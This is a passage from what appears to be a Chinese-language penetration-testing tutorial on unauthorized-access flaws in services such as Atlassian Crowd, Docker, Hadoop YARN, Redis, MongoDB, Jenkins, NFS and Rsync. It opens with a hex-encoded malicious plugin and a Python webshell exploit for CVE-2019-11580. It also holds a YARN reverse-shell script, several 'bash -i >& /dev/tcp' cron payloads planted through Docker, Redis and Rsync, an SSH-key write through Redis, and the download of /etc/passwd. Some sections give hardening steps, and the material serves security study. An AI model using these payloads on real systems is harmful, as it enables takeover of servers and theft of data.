e6b4616895166e00d31ead91c3ab6e797cb2f4c28882bab6b922c4bf2867cd91af0a0e51bfed8d38d513b3d3a31fc8189f953ce9d8fbc619ed9fda0a36c1d71d7376cb73fca2adb563f09b938b75d8b073a1fbb96d79e3a9135d4518a6158add54a6ab5568d4a6a58af9793fcde7e14c9d2f64ee5b0d9bdbebd0befa387c77cac8ce1a0373fdd84a7c9f02cafe7984907d9a4e8a635721dee5e41f6961304412c01389b49eb8bed064110bf90747e50d11a3acecdf0bc8016a7ea286815ada1e3dc0ce304b48896d00a5a456be838374e5a0c371f0c5b66b84361b8f5602a5afbd19009e2df50c8a5a4ebfff1fcfd3f41104b0c131bad860ef37f6fa46bad9aa4ee7b0598fd10c0321163d3a5b83855aea235749c9b3e04086251bc01504b0304140000000800b57df14ef98bc46d88010000c303000016001c00636f6d2f63646c2f7368656c6c2f6578702e6a617661555409000326d22e5d57d22e5d75780b0001040000000004000000008d53c14ee33010bde72b865c702818f65cf98880130856e2c2c5eb0c8dc1898d3d2941abfe3b63d2d5a66d58ed93123933f39edf4ceca0cdab5e2118df4a533b991a746e5914b60d3e12bce8b51e64c2b87648b2210af264394d4aebe54d177a7aa088ba6566e87f396bc0389d12e010f821ecea34a775cdaf873100bf8b02185bfadadb1a6a7f85242645f7f8d6632288f8760a3bf1147c979013a96225d882e2c7e42b836dda6e05a6add5b8946bed7abc7d16ac295748773aea1609a328b9a8acaae51cdff7c43dabb2dccd9e9fb381acf2186d96a8e47b5e7c492946098bbcf59ee6a1cb0cfb0ce2888b25f7ac5d12257b9929cbb88bde204f3ba8fbbe23db62b6b05db2071cd088c36dff60f2fb725f2a64f62428fe8387318ebccb187dfc37cf7604461d3f5d1ccfe7df1beb1084308add4856aa05777ea4e0ecc77703c8989fbc308d8e95f9c6cae620ba1bd980d1641a7139180c647dc78779cec3781c16aa7ceaca050e92fc784ef647f0577d46795f1865600d9e305fd19f511b9caa8d4a9ba2d8149f504b03041400000008005a7ff14e3ac5f9ef48030000fa05000017001c00636f6d2f63646c2f7368656c6c2f6578702e636c61737355540900033bd52e5da8d32e5d75780b0001040000000004000000008d54db76d34614dde3d81e451171e2244ddd0b1428e00041bdd094da14682040dae084385c02f4a2c8d3202a4b8a2ca7693fa38f7de9639e793197aed50fe897f417fad2748f708a936641bcb4ce191d9db3cf3e7b3cf3e73fcfff007016ae8971940d4c0ce0244e99388d490367b4b74d7c800fb5f9c8c4c738abcd2726a6f0e900cee13313155425ce4b7c6ea280b236170c5c3431884bfae5925e7d21312d7159207fde0bbce482405f79e2b640f672d8500285392f50b5767345c54bce8acf48ae115e5389c06279ee91b3ee6cd82d15affb2ab11f2649645fa7a9bf082caab5b66a25d5d7a6b5a23068a9aaee7aa09e38ee0f379c286d9652bb2231237155e29ac4758e2360d6c376ecaaab9ea663a88de88cee60e14d94c8de6d36586461165fb2ccc257981380851ba849cc5b58c04d0b8ba813d0c2126e59b88d5b84b6700777d9cbc232ee49dcb7f0005f0b8c686cdb7782557b66c35551e28581c0f8cb683d89bd6075baedf90d155bf806df0a08d3c27720a5154d69d80d9bb6dbf0edd643e5fb36090b1c7cb52802c7f625aec0f1fda92b30b49b3289bd0c2dc4a1ab5aaded79bdd09e0da276c24ce53405ac55952c38b1d354898ad9f4c5def7a25527fe1f1290eb8edf56f3dfef2a995f79a4dc64ef923c27737c3219dbabe2de0ed68bed20f19a1cce24bfff5ec6cabdc0dd3091b36a43b902275e43be2b050b0689ba4386f16de49dfa745367e2388cb753b3748df430cd0af4f3eb9dd84bb5ebc55860f3ee876a8ff43d619eb71ff58280e5597d42f24e14a980c893fbda83eeff92e846126eeffb68794fe50b91ee9b9ec0a5d871150ee30dde3dfa9781d0c78bf62dbebd4bcf3385dcc927108fb910789b369f06b57d274d61aa28b3b49fd19f4f1533cfd097c153646bc55c253b59cc7590ff15e79e424e766054722506fa2b79edcc8aec9b324af90e0696a78ccc6f289e7e068b3b6bfcd2c181cdadbf3671b492fb1d85e527182a653b182e166974e9087d07a395ec268c1a81c71e93c1106ab8c9cb0e5843429f49f94e330e98bc1b06b81ae478051ce16a02c3bc538bbc4d477011a3ac2db17a1c754ab0c6d9124ed626c24f9cf22011ae20bfc5e47e894312ef491c9638923e4725dee74355b65892dbf51dfa763bf6370e6997a55ec753a14ffc0b504b01021e031400000008007c7ef14e544c2527eb00000004020000140018000000000001000000ed810000000061746c61737369616e2d706c7567696e2e786d6c55540500039bd32e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000040018000000000000001000ed4139010000636f6d2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000080018000000000000001000ed4177010000636f6d2f63646c2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a0000000000d07df14e0000000000000000000000000e0018000000000000001000ed41b9010000636f6d2f63646c2f7368656c6c2f555405000357d22e5d75780b000104000000000400000000504b01021e031400000008008878f14ec2481cb07d0100008d030000160018000000000001000000ed8101020000636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540500036fc82e5d75780b000104000000000400000000504b01021e0314000000080085b2f04ecafaf82fe500000004180000170018000000000000000000a481ce030000636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540500031add2d5d75780b000104000000000400000000504b01021e03140000000800b178f14ed0054a4648030000fa050000170018000000000000000000a48104050000636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554050003bdc82e5d75780b000104000000000400000000504b01021e0314000000080080b2f04e5e4c2ce89701000004180000110018000000000000000000a4819d080000636f6d2f63646c2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e0314000000080080b2f04e7261dc5f94010000041800000d0018000000000000000000a4817f0a0000636f6d2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e03140000000800b57df14ef98bc46d88010000c3030000160018000000000001000000a4815a0c0000636f6d2f63646c2f7368656c6c2f6578702e6a617661555405000326d22e5d75780b000104000000000400000000504b01021e031400000008005a7ff14e3ac5f9ef48030000fa050000170018000000000000000000a481320e0000636f6d2f63646c2f7368656c6c2f6578702e636c61737355540500033bd52e5d75780b000104000000000400000000504b0506000000000b000b00bf030000cb11000000000d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561372d2d0d0a"data = s.decode("hex")r = requests.post(url=url_vuln, headers=headers, data=data, verify=False)if r.status_code ==200 and "Installed" in r.content:printprint r.contentgetwebshell(url)else:print  "No Exit!"
def getwebshell(url):webshell_url = url + "/crowd/plugins/servlet/exp?cmd=whoami"r = requests.get(webshell_url, verify=False)if r.status_code==200:print ">>>Get Webshell\n"print webshell_url+'\n'print "Exec command= whoami\n\nResult= %s"%r.textif __name__ == '__main__':url = sys.argv[1]is_url(url)
[root@localhost CVE-2019-11580-master]# python CVE-2019-11580.py http://192.168.32.183:8095_______      ________    ___   ___  __  ___        __ __ _____  ___   ___  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____|/ _ \ / _ \ | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____   \  /  | |____    / /_| |_| || |  / /       | || |___) | (_) | |_| |\_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ \___/ \___/ python CVE-2019-11580.py http://xx.xx.xx.xxhttp://192.168.32.183:8095/crowd/admin/uploadplugin.actionInstalled plugin /opt/atlassian-crowd-3.4.3/apache-tomcat/temp/plugindev-7114709723171005763rce.jar>>>Get Webshellhttp://192.168.32.183:8095/crowd/plugins/servlet/exp?cmd=whoamiExec command= whoamiResult= root

然后訪問獲取的shell地址,無需認證登錄即可獲取IP地址。

clickhouse 未授權訪問漏洞

漏洞描述

惡意攻擊者可以在不提供有效憑據的情況下訪問 ClickHouse 服務器。這可能導致未經授權的訪問敏感數據,或允許攻擊者修改或刪除數據。默認情況下,clickhouse-server會在8123端口上監控HTTP請求(這可以在配置中修改)。

環境搭建

sudo apt-get install -y apt-transport-https ca-certificates dirmngr
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee \/etc/apt/sources.list.d/clickhouse.list
sudo apt-get updatesudo apt-get install -y clickhouse-server clickhouse-clientsudo service clickhouse-server start
clickhouse-client

漏洞復現

首先確定是否使用了 ClickHouse 數據庫的接口

curl http://192.168.0.5:8123

根據文檔得知,正常返回為 Ok. , 且存在 X-ClickHouse-Summary 作為返回包的 Header

測試是否可以執行SQL命令, 部分會開啟身份驗證導致未授權執行失敗

/?query=SHOW%20DATABASES

成功執行語句獲取數據,執行其他命令探測出網

http://192.168.0.5:8123/?query=SELECT%20*%20FROM%20url(%27http://cf1cfb13.dns.1433.eu.org/%27,%20CSV,%20%27column1%20String,%20column2%20UInt32%27)%20LIMIT%203;

可以查看 system庫中的執行記錄表來獲取最近執行的所有SQL語句來快速定位可利用的信息(獲取敏感用戶信息,數據庫名以及數據表名)

CouchDB未授權訪問漏洞

漏洞描述

CouchDB因配置不當可以未授權訪問,被攻擊者惡意利用。

攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意清空所有數據。

漏洞搭建

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md

使用docker-compose啟動。

cd couchdb/CVE-2017-12636/
docker-compose up -d

漏洞利用

訪問5984端口,就可以看到版本信息。

訪問/_config接口,可以看到couchDB配置信息。

Docker未授權訪問漏洞

漏洞描述

惡意攻擊者可以在未經授權的情況下訪問 Docker 服務器或容器。這可能導致敏感數據泄露,或允許攻擊者執行未經授權的操作,如添加、修改或刪除容器。

環境搭建

安裝docker

yum install -y docker

修改/usr/lib/systemd/system/docker.service服務,啟動API接口。

ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock

重啟docker服務。

systemctl daemon-reload
systemctl restart docker

漏洞復現

輸入ip:2375/version就會列出基本信息,和docker version命令效果一樣。

利用docker容器寫定時任務反彈shell

我們可以利用未授權訪問的docker remote api 開啟一個容器并掛載至根目錄,由此我們可以獲得任意讀寫的權限,然后我們再將反彈shell命令寫入定時任務crontab中,即可使宿主機反彈shell。

[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh

寫入定時計劃

/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root

安全加固

在不必需的情況下,不要啟用docker的remote api服務,如果必須使用的話,可以采用如下的加固方式:

設置ACL,僅允許信任的來源IP連接;
設置TLS認證,官方的文檔為Protect the Docker daemon socket

客戶端與服務器端通訊的證書生成后,可以通過以下命令啟動docker daemon:

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock

客戶端連接時需要設置以下環境變量

export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

druid 監控頁未授權訪問漏洞

漏洞簡介

Druid是阿里巴巴數據庫出品的,為監控而生的數據庫連接池,并且Druid提供的監控功能,監控SQL的執行時間、監控Web URI的請求、Session監控,首先Druid是不存在什么漏洞的。但當開發者配置不當時就可能造成未授權訪問.

環境搭建

pom.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.3</version><relativePath/> <!-- lookup parent from repository --></parent><groupId>com.example</groupId><artifactId>demo</artifactId><version>0.0.1-SNAPSHOT</version><name>demo</name><description>Demo project for Spring Boot</description><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-jdbc</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.2.2</version></dependency><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.1.1</version></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-resources-plugin</artifactId><version>3.1.0</version></plugin></plugins></build></project>

application.properties配置

#數據庫連接
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/t1?serverTimezone=Asia/Shanghai
spring.datasource.username=sec
spring.datasource.password=sec123##啟用StatFilter
spring.datasource.druid.web-stat-filter.enabled=true#啟用內置的監控頁面
spring.datasource.druid.stat-view-servlet.enabled=true

漏洞復現

直接訪問druid/index.html

可以通過session功能進行偽造用戶進行登錄

修復方法

禁用durid

application.properties配置

spring.datasource.druid.stat-view-servlet.enabled=false
spring.datasource.druid.web-stat-filter.enabled=false

設置鑒權

#設置登錄用戶名
spring.datasource.druid.stat-view-servlet.login-username=admin
#設置登錄密碼
spring.datasource.druid.stat-view-servlet.login-password=123

修改路徑

##內置監控頁面的地址
spring.datasource.druid.stat-view-servlet.url-pattern=/druid11111111111111111111111111111/*

Dubbo 未授權訪問漏洞

漏洞簡介

Dubbo是阿里巴巴公司開源的一個高性能優秀的 服務框架,使得應用可通過高性能的 RPC 實現服務的輸 出和輸入功能,可以和 Spring框架無縫集成。dubbo 因配置不當導致未授權訪問漏洞。

環境搭建

git clone https://github.com/alibaba/dubbo/tree/2.5.x

進入dubbo-2.5.x 目錄

執行mvn clean package -Dmaven.test.skip=true會生成如下結果

dubbo-2.5.x/dubbo-simple/dubbo-monitor-simple/target目錄會發現生成了dubbo-monitor-simple-2.5.10-assembly.tar.gz,解壓這個文件夾

查看配置文件,會看到dubbo協議端口為7070

[root@localhost dubbo-monitor-simple-2.5.10]# cat conf/dubbo.properties dubbo.container=log4j,spring,registry,jetty
dubbo.application.name=simple-monitor
dubbo.application.owner=
dubbo.registry.address=multicast://224.5.6.7:1234
#dubbo.registry.address=zookeeper://127.0.0.1:2181
#dubbo.registry.address=redis://127.0.0.1:6379
#dubbo.registry.address=dubbo://127.0.0.1:9090
dubbo.protocol.port=7070
dubbo.jetty.port=8080
dubbo.jetty.directory=${user.home}/monitor
dubbo.charts.directory=${dubbo.jetty.directory}/charts
dubbo.statistics.directory=${user.home}/monitor/statistics
dubbo.log4j.file=logs/dubbo-monitor-simple.log

啟動dubbo

[root@localhost dubbo-monitor-simple-2.5.10]# bin/start.sh

漏洞利用

nc連接7070端口,7070端口允許您執行各種管理任務,如查看注冊表的狀態、列出可用服務和查看注冊表的日志級別。

[root@localhost dubbo-monitor-simple-2.5.10]# nc 127.0.0.1 7070
ls
com.alibaba.dubbo.monitor.MonitorService
dubbo>help
Please input "help [command]" show detail.status [-l]                      - Show status.pwd                              - Print working default service.trace [service] [method] [times] - Trace the service.exit                             - Exit the telnet.help [command]                   - Show help.invoke [service.]method(args)    - Invoke the service method.count [service] [method] [times] - Count the service.clear [lines]                    - Clear screen.ls [-l] [service]                - List services and methods.log level                        - Change log level or show log ps [-l] [port]                   - Print server ports and connections.cd [service]                     - Change default service.
dubbo>status
OK
dubbo>pwd
/

如果服務具有命令執行功能,則使用 “invoke” 命令可能會執行命令,因為 “invoke” 命令用于調用特定的服務方法。

Hadoop YARN resourcemanager 未授權訪問漏洞

漏洞描述

負責對資源進行同一管理調度的ReasourceManager組件的UI管理界面開放在8080/8088端口,攻擊者無需認證即可通過REST API部署任務來執行任意命令,最終可完全控制集群中所有的機器。

環境搭建

使用vulhub

[root@localhost ~]# ls /opt/vulhub-master/hadoop/unauthorized-yarn/
docker-compose.yml  exploit.py  README.md[root@localhost ~]# docker-compose up

訪問8088端口,可以看到Hadoop YARN ResourceManager WebUI界面。

漏洞利用

啟動nc

[root@localhost ~]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999

攻擊腳本

[root@localhost unauthorized-yarn]# cat exploit.py 
#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'
lhost = '192.168.32.131' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)

成功攻擊成功

Hadoop Yarn RPC未授權訪問漏洞

漏洞簡述

Hadoop Yarn作為Hadoop核心組件之一,負責將資源分配至各個集群中運行各種應用程序,并調度不同集群節點上的任務執行。Hadoop Yarn默認對外開放RPC服務,攻擊者可利用RPC服務執行任意命令,控制服務器。

同時由于Hadoop Yarn RPC服務訪問控制機制開啟方式與REST API不一樣,因此即使在 REST API有授權認證的情況下,RPC服務所在端口仍然可以未授權訪問。

環境搭建

https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn

需要修改docker-compose.yml,添加8032端口映射。

curl請求8032端口。

[root@localhost tmp]# curl http://192.168.32.183:8032
It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon.

漏洞利用

EXP:https://github.com/cckuailong/YarnRpcRCE

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "curl 0dccw6.dnslog.cn"
log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.

查看日志

反彈shell

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "bash -i >& /dev/tcp/192.168.32.183/9999 0>&1"

成功建立連接

[root@localhost tmp]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.19.0.5.
Ncat: Connection from 172.19.0.5:59812.
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell
<00863_0003/container_1658816800863_0003_01_000001# whoami
whoami
root
<00863_0003/container_1658816800863_0003_01_000001# 

漏洞修復

  1. Apache Hadoop官方建議用戶開啟Kerberos認證。
  2. 設置 Hadoop RPC服務所在端口僅對可信地址開放。
  3. 建議升級并啟用Kerberos的認證功能,阻止未經授權的訪問。

InfluxDB API 未授權訪問漏洞

JBoss未授權訪問漏洞

漏洞描述

JBoss 是一個管理 EJB 的容器和服務器,支持 EJB 1.1、EJB 2.0 和 EJB3 的規范。但 JBoss 核心服務不包括支持 servlet/JSP 的 WEB 容器,一般與 Tomcat 或 Jetty 綁定使用。JBoss 默認在 8080 端口監聽。

在低版本的 JBoss 中,默認可以訪問 JBoss Web 控制臺(http://IP:8080/jmx-console),無需用戶名和密碼。通過 JBoss 未授權訪問管理控制臺的漏洞,可以進行后臺服務管理,可以通過腳本命令執行系統命令,如反彈 shell、wget 寫 Webshell 文件。

環境搭建

這里用CVE-2017-7504的漏洞環境,啟動環境

[root@localhost CVE-2017-7504]# docker-compose up

瀏覽器訪問8080端口

漏洞復現

發現jboss默認頁面,點擊進入控制頁

假設是未授權訪問的話,點擊JMX-Console不會提示輸入用戶名、密碼,而這個地方用的是別的漏洞的環境,用戶名密碼都是admin、admin,所以就假裝是不用輸入用戶名密碼的

往下找jboss.deployment進入應用部署頁面

進入應用部署頁面后,下滑找到void addURL(),這里ParamValue部分填寫遠程服務器上的木馬的地址。

訪問iceword路徑,就可以看到webshell

Jenkins未授權訪問漏洞

漏洞描述

部署Jenkins 1.62版本,將全局授權策略打開,目前新版本的Jenkins已默認需要用戶登錄,但老版的中默認配置是"任意用戶可以做任何事",存在未授權訪問的問題。

環境搭建

選擇1.62版本進行下載,http://archives.jenkins-ci.org/war-stable/1.625.1/jenkins.war

將WAR包丟到tomcat的webapps里面,啟動tomcat

漏洞復現

進入管理頁面:http://192.168.32.131:8080/jenkins/manage

進入腳本命令行,后綴輸入script進入腳本命令行,輸入:println "ls".execute().text,就可以執行ls命令。

Jupyter Notebook 未授權訪問漏洞

漏洞描述

Jupyter Notebook(此前被稱為 IPython notebook)是一個交互式筆記本,支持運行 40 多種編程語言。

如果管理員未為 Jupyter Notebook 配置密碼,將導致未授權訪問漏洞,游客可在其中創建一個 console 并執行任意 Python 代碼和命令。

環境搭建

version: '2'
services:web:image: vulhub/jupyter-notebook:5.2.2command: start-notebook.sh --NotebookApp.token=''ports:- "8888:8888"

運行后,訪問 http://your-ip:8888 將看到 Jupyter Notebook 的 Web 管理界面,并沒有要求填寫密碼。

漏洞復現

選擇 new -> terminal 即可創建一個控制臺:

直接執行任意命令:

MongoDB未授權訪問漏洞

漏洞描述

啟動MongoDB服務時不添加任何參數時,默認是沒有權限驗證的,登錄的用戶可以通過默認端口無需密碼對數據庫任意操作(增刪改高危動作)而且可以遠程訪問數據庫。

環境搭建

docker下載mongo鏡像

docker run  -it  -p  27017:27017 mongo

漏洞復現

cli執行

┌──(root💀kali)-[~]
└─# mongo 192.168.32.131
MongoDB shell version v5.3.1
connecting to: mongodb://192.168.32.131:27017/test?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("c7ddf3c3-2fbc-4b5a-b9a4-91dfce9703a2") }
MongoDB server version: 5.0.8
WARNING: shell and server versions do not match> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB

msf執行

msf6 > use auxiliary/scanner/mongodb/mongodb_login
msf6 auxiliary(scanner/mongodb/mongodb_login) > set rhosts 192.168.32.131
rhosts => 192.168.32.131
msf6 auxiliary(scanner/mongodb/mongodb_login) > run[*] 192.168.32.131:27017 - Scanning IP: 192.168.32.131
[+] 192.168.32.131:27017 - Mongo server 192.168.32.131 doesn't use authentication
[*] 192.168.32.131:27017 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

修復建議

(1).新建管理賬戶開啟MongoDB授權
新建終端[參數默認可以不加,若有自定義參數,才要加上,下同]
mongod --port 27017 --dbpath /data/db1

另起一個終端,運行下列命令

  use admindb.createUser({user: "adminUser",pwd: "adminPass",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})

管理員創建成功,現在擁有了用戶管理員 用戶名:adminUser 密碼:adminPass

(2).本地訪問

bind 127.0.0.1

(3).修改默認端口
修改默認的mongoDB端口(默認為: TCP 27017)為其他端口

(4).禁用HTTP和REST端口
MongoDB自身帶有一個HTTP服務和并支持REST接口。在2.6以后這些接口默認是關閉的。mongoDB默認會使用默認端口監聽web服務,一般不需要通過web方式進行遠程管理,建議禁用。修改配置文件或在啟動的時候選擇–nohttpinterface 參數nohttpinterface = false
(5).開啟日志審計功能
審計功能可以用來記錄用戶對數據庫的所有相關操作。這些記錄可以讓系統管理員在需要的時候分析數據庫在什么時段發生了什么事情
(6).開啟auth認證

/etc/mongodb.conf  
auth = true

NFS未授權訪問漏洞

漏洞描述

NFS(Network File System)是一種網絡文件系統,允許在不同的網絡主機上共享文件。當NFS服務器未正確配置或缺少訪問控制機制時,可能存在未授權訪問漏洞。攻擊者可以利用此漏洞訪問受影響主機上的文件和數據,甚至可以修改或刪除敏感信息。

環境搭建

# 安裝nfs服務
yum install nfs-utils.x86_64 -y# 啟動服務
systemctl start nfs-server.service# 設置開機自啟
systemctl enable rpcbind.service
systemctl enable nfs-server.service# 配置nfs
vim /etc/exports/ *(rw,sync,no_root_squash)# 啟動共享
exportfs -r

漏洞利用

查看共享

[root@localhost tmp]# showmount -e
Export list for localhost.localdomain:
/ *

客戶端掛載命令

mkdir /tmp/test
mount -t nfs 192.168.32.183:/ /tmp/test

掃描nfs

[root@localhost tmp]# rpcinfo -p 192.168.32.183program vers proto   port  service100000    4   tcp    111  portmapper100000    3   tcp    111  portmapper100000    2   tcp    111  portmapper100000    4   udp    111  portmapper100000    3   udp    111  portmapper100000    2   udp    111  portmapper100005    1   udp  20048  mountd100005    1   tcp  20048  mountd100005    2   udp  20048  mountd100024    1   udp  38880  status100005    2   tcp  20048  mountd100024    1   tcp  60551  status100005    3   udp  20048  mountd100005    3   tcp  20048  mountd100003    3   tcp   2049  nfs100003    4   tcp   2049  nfs100227    3   tcp   2049  nfs_acl100003    3   udp   2049  nfs100003    4   udp   2049  nfs100227    3   udp   2049  nfs_acl100021    1   udp  48592  nlockmgr100021    3   udp  48592  nlockmgr100021    4   udp  48592  nlockmgr100021    1   tcp  42350  nlockmgr100021    3   tcp  42350  nlockmgr100021    4   tcp  42350  nlockmgr

查看掛載的目錄,會出現所有的/目錄下的文件

ls /tmp/test/

RabbitMQ 未授權訪問漏洞

漏洞描述

RabbitMQ未授權訪問漏洞是指在沒有安全驗證的情況下,攻擊者可以通過網絡訪問RabbitMQ服務器,獲取或修改數據、執行命令等。

Redis未授權訪問漏洞

簡介

redis是一個開源的存儲系統,支持數據的持久化存儲、支持key-value、list、set等數據結構存儲,支持備份。

但若redis存在未授權訪問,就會導致攻擊者可以無需認證就能訪問redis內部資源,獲取敏感文件,甚至執行flushall清空數據,給root賬戶寫入ssh公鑰直接遠程登錄目的服務器。

環境搭建

wget https://download.redis.io/releases/redis-5.0.14.tar.gz
tar xvf redis-5.0.14.tar.gz
cd  redis-5.0.14
make -j 4
make install

直接運行redis-server

redis-server --protected-mode no

漏洞復現

root@l-virtual-machine:/opt# redis-cli -h 192.168.32.141
192.168.32.141:6379> keys *
(empty array)

SSH私鑰訪問

$ ssh-keygen -t  rsa
$ (echo -e "  "; cat /root/.ssh/id_rsa.pub; echo -e "  ") > foo.txt
$ cat foo.txt | redis-cli -h 192.168.32.141 -x set test
$ redis-cli -h 192.168.32.141
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

反彈shell

此方法在ubuntu中因無法忽略亂碼導致失敗

#shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.32.141/9999 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

Rsync未授權訪問漏洞

漏洞描述

RsyncLinux下一款數據備份工具,支持通過rsync協議、ssh協議進行遠程文件傳輸。常被用于在內網進行源代碼的分發及同步更新,因此使用人群多為開發人員。其中rsync協議默認監聽873端口,而一般開發人員安全意識薄弱的情況下,如果目標開啟了rsync服務,并且沒有配置ACL或訪問密碼,我們將可以讀寫目標服務器文件。

環境搭建

rsyncd.conf

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log[src]
path = /
comment = src path
read only = no

啟動rsync

rsync --no-detach --daemon --config /etc/rsyncd.conf

漏洞利用

環境啟動后,我們用rsync命令訪問之:

[root@localhost tmp]# rsync rsync://192.168.32.183:873/
src            	src path

查看src目錄

[root@localhost tmp]# rsync rsync://192.168.32.183:873/
src            	src path
You have new mail in /var/spool/mail/root
[root@localhost tmp]# rsync rsync://192.168.32.183:873/src
drwxr-xr-x             28 2022/07/26 03:45:11 .
-rwxr-xr-x              0 2022/07/26 03:45:11 .dockerenv
-rwxr-xr-x            101 2022/05/19 09:45:03 docker-entrypoint.sh
drwxr-xr-x              6 2018/01/21 13:42:04 bin
drwxr-xr-x              6 2017/07/13 09:01:05 boot
drwxr-xr-x              6 2022/07/26 03:45:11 data
drwxr-xr-x            340 2022/07/26 03:45:11 dev
drwxr-xr-x             66 2022/07/26 03:45:11 etc
drwxr-xr-x              6 2017/07/13 09:01:05 home
drwxr-xr-x             21 2018/01/21 13:42:05 lib
drwxr-xr-x             34 2017/10/08 20:00:00 lib64
drwxr-xr-x              6 2017/10/08 20:00:00 media
drwxr-xr-x              6 2017/10/08 20:00:00 mnt
drwxr-xr-x              6 2017/10/08 20:00:00 opt
dr-xr-xr-x              0 2022/07/26 03:45:11 proc
drwx------             37 2017/10/08 20:00:00 root
drwxr-xr-x             80 2022/07/26 03:48:12 run
drwxr-xr-x          4,096 2017/10/08 20:00:00 sbin
drwxr-xr-x              6 2017/10/08 20:00:00 srv
dr-xr-xr-x              0 2022/07/25 22:41:55 sys
drwxrwxrwt              6 2022/07/26 03:44:41 tmp
drwxr-xr-x             42 2017/10/08 20:00:00 usr
drwxr-xr-x             17 2017/10/08 20:00:00 var

這是一個Linux根目錄,我們可以下載任意文件:

[root@localhost tmp]# rsync -av rsync://192.168.32.183:873/src/etc/passwd ./
receiving incremental file list
passwdsent 43 bytes  received 1,283 bytes  2,652.00 bytes/sec
total size is 1,197  speedup is 0.90

或者寫入定時計劃:

echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/9999 0>&1' >> shell
